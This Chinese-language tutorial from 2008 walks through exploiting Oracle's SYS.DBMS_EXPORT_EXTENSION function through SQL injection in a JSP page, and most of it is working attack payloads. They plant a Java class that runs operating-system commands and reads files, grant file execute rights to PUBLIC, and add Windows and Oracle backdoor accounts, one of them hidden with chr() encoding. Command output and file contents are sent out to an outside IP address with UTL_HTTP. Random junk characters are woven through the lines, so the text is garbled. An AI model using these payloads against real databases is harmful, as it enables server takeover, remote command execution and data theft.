以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 - T% S; s5 R2 l- Y9 J* W
$ \# D8 r9 d5 f; F$ q /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) ' _: F3 ~5 u3 i/ x1 {
的形式即可。(用" 'a'|| "是为了让语句返回true值) # ?- M5 y# I6 ?/ n
语句有点长,可能要用post提交。 ( P1 n# L8 R1 Q3 X7 Z
以下是各个步骤: % L* c3 u& }( U0 F2 @
1.创建包 3 y+ P: j, m* j6 p
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件: G5 K1 B- C7 L# M R
/xxx.jsp?id=1 and '1'<>'a'||( - q4 \) ]) ^, @
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 }: ]' H( w' l2 S6 h7 F
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(! f. J; N2 q* k" Z
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}5 [4 x/ K% W- o; g3 o
}'''';END;'';END;--','SYS',0,'1',0) from dual
! ]( \7 [! X+ p- M) - N& J. X) Q' k' R$ L2 U2 b
------------------------
5 O- i# t. r, K8 x$ C' a" v h- c如果url有长度限制,可以把readFile()函数块去掉,即: / j4 `3 I3 P0 Q( Q" n
/xxx.jsp?id=1 and '1'<>'a'||(
5 x. d4 @: z0 m0 L! I, C/ x7 rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( U. s# s0 B* U3 S* p
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
+ X# y2 K9 H# {) Z$ N3 }new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
& A% {+ v- r7 N( k, [}'''';END;'';END;--','SYS',0,'1',0) from dual 6 u/ \1 K2 _0 n! l: Z8 L
) 8 ^8 Y& h0 }3 e3 B8 ?6 Y
同时把后面步骤 提到的 对readFile()的处理语句去掉。
9 e% y6 {1 y/ `------------------------------ z# m9 k- a- {
2.赋Java权限
7 k% s, |6 m+ K- U9 v* fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
9 h9 d2 V% @0 ], t% v% `3 u* i3.创建函数
4 }$ ?7 t+ F. i0 s Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 U: l, p+ J& P$ J4 L3 S7 M v% wcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
7 Q3 z- H1 S: k, cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* L' ^( W7 f1 K2 d: {
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
j8 f5 }( S; w9 G5 q5 [6 R4.赋public执行函数的权限
" |& u* [( b' xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
% c: c* ?% a# ]/ s- w1 P; z2 ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
* x8 D/ L0 T. s5.测试上面的几步是否成功 : }' J4 ]" q3 H- Y, E
and '1'<>'11'||( 6 {7 ]$ W5 g; @) y' q- {9 d/ Z% L
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' : K6 C, g7 x2 x9 T
) - o* u* V) [' ^7 J. F3 B
and '1'<>( : [# _0 w/ v0 E/ X
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
$ i @5 A: S! b# i4 A/ T) # d2 {0 `3 S) ]8 J w
6.执行命令: 5 G& u; f" i% m/ a/ {$ s# W% T" G! i
/xxx.jsp?id=1 and '1'<>( % Q+ r2 }/ C5 @( q9 K5 ], p- U* \
select sys.LinxRunCMD('cmd /c net user linx /add') from dual ( ?+ B8 e' F M) M4 [4 }; v" B; n
# I# w. X# l: \: F! ]
) + R: `- J- n' J( v" I. y, l1 g' D
/xxx.jsp?id=1 and '1'<>( 8 h% `; ?. e1 S; I% t. ~
select sys.LinxReadFile('c:/boot.ini') from dual d L) g4 x+ I) N
+ h& f6 p: M4 `)7 Y2 X2 X* r# T. D* X2 c$ [( {
0 \! J3 V# l e8 G% y: d) _
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 3 K" n) ^+ W0 E) t3 [
如果要查看运行结果可以用 union : % R7 q- c3 d1 D3 w, J( n- `/ K
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
% b" x5 z8 o! t8 t# k! f' ~或者UTL_HTTP.request(: ) P) u* w4 D) Q6 B5 x$ b9 N( R
/xxx.jsp?id=1 and '1'<>(
3 B# p4 Y4 b, dSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
6 Y0 U, p% y3 K8 U) 2 Z$ G, }1 U" y* p: c0 P/ c
/xxx.jsp?id=1 and '1'<>( 5 \. ~, Z5 d6 J" o- v4 K" q' x4 b
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual. V% J' r0 s# w# b0 h8 \0 G
)
0 g0 n4 ^4 w; o# o注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
0 p0 L/ f; G+ O Y5 M% [--------------------
3 s: z" f) R/ k+ _5 L% k2 R6.内部变化 ) g% |% P6 k3 U( z# K, Z
通过以下命令可以查看all_objects表达改变: ( e \( U; \5 E0 S
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'! c1 e! w, D& r+ D/ e
7.删除我们创建的函数
; L, V& `1 ?' l# H0 c; Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! V6 S: C8 _ Y& f
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual j; Z5 c7 n D9 {) @/ O
==================================================== 7 G0 S3 p( t: ]4 Y: N" ^ g
全文结束。谨以此文赠与我的朋友。
$ a1 [4 Z2 V( I9 }4 a& M* g ~) mlinx . j$ t( k! i# R6 x F, E# R: U
124829445
9 U- n8 ?9 ], C _1 I) x- l9 j2008.1.12 1 L8 e, z0 z( l! l7 _) ~" y2 f7 z
linyujian@bjfu.edu.cn 0 {6 s! e: D$ u- o
====================================================================== ) A7 ] Z$ n; G' I; p! J
测试漏洞的另一方法:
4 T* }+ @% s: w) D! P创建oracle帐号: ! C6 Z9 G" w0 L6 F# q* l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 W" r9 I) q fCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual0 Z; N; f- x5 \: ?4 x
即:
6 D0 Y3 ^4 F( ]0 `! d7 Q+ r) z! b/ Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
/ g6 O! \' ^5 ~3 U0 X3 Lchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 6 V! l5 d: Y C9 M" r
确定漏洞存在:
. G e/ q- F* F) H, D- E, v- |7 B1<>(
1 V2 O& r0 | J9 A. ~ Tselect user_id from all_users where username='LINXSQL'
, A' P! q0 @9 ?4 q6 g2 W# B6 M)
& u" K2 ]3 o! I' O给linxsql连接权限: 0 ~/ a( }. |( y( J
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* r3 f& u* p2 n2 FGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual & {& [4 X# w% g, X
删除帐号: ' O5 e- }4 a" _( F8 J' d4 @
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: K- O; q+ K6 w8 x; _2 M, R" |drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
- C' A5 z1 g% r1 o======================
4 j5 ]! V( P+ `8 W; e以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
% r( K, c5 n8 c! j' \, I0 H1.jsp?id=1 and '1'<>( 6 t4 h1 e) Q. N: @. ~+ M
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' s1 U! c4 i7 |' [$ z) ^
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual6 P* L% n0 q2 A
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE: Q# P( k3 R$ E! b
)
+ n" K( z7 ~" r& o! q0 @. M% @/ z" U# G9 Z3 {
/ d5 ?# X; ]% A; x+ y6 ]& R" Q$ t
" i$ ?1 K" v, u. {* h |